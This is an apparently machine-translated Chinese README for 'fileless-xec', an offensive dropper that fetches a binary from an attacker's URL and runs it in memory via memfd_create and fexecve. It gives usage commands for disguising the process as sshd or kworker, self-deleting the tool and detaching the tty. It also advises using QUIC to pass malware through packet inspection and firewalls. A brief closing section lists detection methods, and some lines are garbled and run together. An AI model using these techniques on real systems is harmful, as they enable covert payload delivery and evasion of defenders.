
👋 肯定有用,主要是好玩,大致受到0x00 文章的启发
渗透测试用途: fileless-xec 用于在目标机器上隐秘地执行位于攻击者机器上的二进制文件
fileless-xec 使我们能够直接在本地机器上从内存中执行远程二进制文件,而无需将其写入磁盘
fileless-xec [binary_url] (~curl | sh 用于二进制文件)fileless-xec -n /usr/sbin/sshd [binary_url]tty 分离:fileless-xec --setsid [...]
writeNsleep 二进制文件。
我们首先在远程机器上启动一个 Python HTTP 服务器。
本地使用 fileless-xec 并伪装成 /usr/sbin/sshd 名称来执行 writeNsleep 二进制文件(为了隐蔽和有趣)。一旦 writeNsleep 启动,fileless-xec 将删除自身(--self-remove)
fileless-xec 自我删除fileless-xec 服务器模式
fileless-xec 在 Windows 上fileless-xec 启动后自动删除自身远程二进制文件通过 memfd_create 系统调用存储在本地,该调用将其存储在一个 内存磁盘 中,该磁盘未映射到文件系统(即无法使用 ls 找到它)。
注意: memfd_create 系统调用在 macOS 上不存在。
然后我们使用 fexecve 系统调用执行它(由于 Go 的 syscall 库目前未提供,我们自己实现了它)。
使用
fexecve,我们可以执行程序,但通过文件描述符来引用要运行的程序,而不是完整路径。
使用 -Q/http3 标志启用它。 你可以通过运行 go run ./test/http3/light-server.go -p LISTENING PORT 设置一个支持 http3 的轻型 Web rootfs 服务器(这是 python3 -m http.server 的 http3 等效命令)使用 test/http3/genkey.sh 生成证书和密钥。
|
QUIC(基于UDP)也称为 http3,是一种新一代互联网协议,通过减少连接服务器所需的往返时间(RTT),来加速容易受延迟影响的在线网络应用,例如搜索、视频流等。
由于 QUIC 使用等同于 TLS 的专有加密(这将在未来随着标准化版本而变化),提供应用控制和可视性的第三代防火墙在控制和监控 QUIC 流量方面会遇到困难。
如果你确实使用 fileless-xec 作为投放器(仅用于测试目的或获得授权),你可能想要执行某种类型的恶意软件或其他可能通过数据包分析被拦截的文件。因此,启用 QUIC 后,你可以绕过数据包分析并获取恶意软件。
此外,如果防火墙仅用于允许/阻止流量,可能会出现防火墙规则忘记 UDP 协议,从而让你的请求不被注意的情况。
尽管不在内存磁盘上,运行中的程序仍然可以通过例如 ps 命令检测到。
fileless-xec --name <fake_name> <binary_raw_url> 默认名称为 [kworker/u:0]
fileless-xec --setsid <binary_raw_url>.
你仍然可以通过以下方式被检测到:
$ lsof | grep memfd
或者通过 opensnoop(但不能通过 execsnoop)
或者 seccomp 配置文件审计 execve 系统调用(但这非常繁重,因为例如 sleep 命令也会使用 execve)